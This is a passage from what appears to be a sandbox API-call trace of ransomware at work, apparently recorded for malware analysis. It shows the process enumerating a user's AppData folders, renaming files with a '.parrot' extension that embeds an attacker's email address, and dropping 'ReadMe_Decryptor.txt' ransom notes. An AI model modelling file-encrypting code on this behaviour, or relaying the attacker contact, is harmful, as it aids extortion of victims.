HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.348] WriteFile (in: hFile=0x26c, lpBuffer=0x5d4d18*, nNumberOfBytesToWrite=0xb98, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x5d4d18*, lpNumberOfBytesWritten=0x18ebe4*=0xb98, lpOverlapped=0x0) returned 1 [0035.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.349] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.349] CloseHandle (hObject=0x26c) returned 1 [0035.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x60cf48 [0035.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cbfb8 [0035.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf48 | out: hHeap=0x5b0000) returned 1 [0035.350] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cd8e0 | out: hHeap=0x5b0000) returned 1 [0035.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d0838 [0035.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cbfb8 [0035.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.355] GetFileType (hFile=0x26c) returned 0x1 [0035.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.365] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0035.365] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0035.365] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5ff58c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.366] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5f5d340, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5f5d340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0035.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.366] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0035.366] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5f5d340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x103c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WSCRGB~1.PAR")) returned 1 [0035.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5cbfb8 [0035.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbfb8 | out: hHeap=0x5b0000) returned 1 [0035.366] lstrcmpW (lpString1="wscRGB.icc.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5cbfb8 [0035.366] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5fcf760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WSRGBI~1.PAR")) returned 1 [0035.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d2150 [0035.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2150 | out: hHeap=0x5b0000) returned 1 [0035.366] lstrcmpW (lpString1="wsRGB.icc.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0035.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d2150 [0035.366] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5fcf760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WSRGBI~1.PAR")) returned 0 [0035.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0035.366] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0035.366] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.366] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0035.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc9d8 [0035.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.367] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0035.367] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0035.367] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.367] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACECAC~1.PAR")) returned 1 [0035.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0035.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0035.367] lstrcmpW (lpString1="ACECache11.lst.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d0838 [0035.367] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5ff58c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0035.367] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5f11080, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f371e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0035.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.367] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0035.367] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5f11080, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f371e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0035.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.367] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0035.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0035.367] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0035.367] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0035.367] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0035.367] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0035.367] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0035.368] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.368] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0035.368] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0035.368] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0035.368] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0035.368] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0035.368] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0035.368] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0035.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0035.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x5cc9d8 [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0035.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.368] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0xffffffff [0035.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.368] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0xffffffff [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0035.368] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0035.368] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0035.369] lstrcmpW (lpString1="Apps", lpString2=".") returned 1 [0035.369] lstrcmpW (lpString1="Apps", lpString2="..") returned 1 [0035.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0035.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x5e9ca0 [0035.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0035.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.369] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0035.369] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.369] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.369] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.369] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.369] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0035.369] lstrcmpW (lpString1="2.0", lpString2=".") returned 1 [0035.369] lstrcmpW (lpString1="2.0", lpString2="..") returned 1 [0035.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0035.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0035.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.369] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0035.370] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.370] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.370] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.370] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.370] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0035.370] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0035.370] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0035.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5cc9d8 [0035.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x601838 [0035.370] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc9d8 | out: hHeap=0x5b0000) returned 1 [0035.370] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0035.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc9d8 [0035.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5cc550 [0035.370] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0035.372] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.372] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.373] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.373] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.373] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 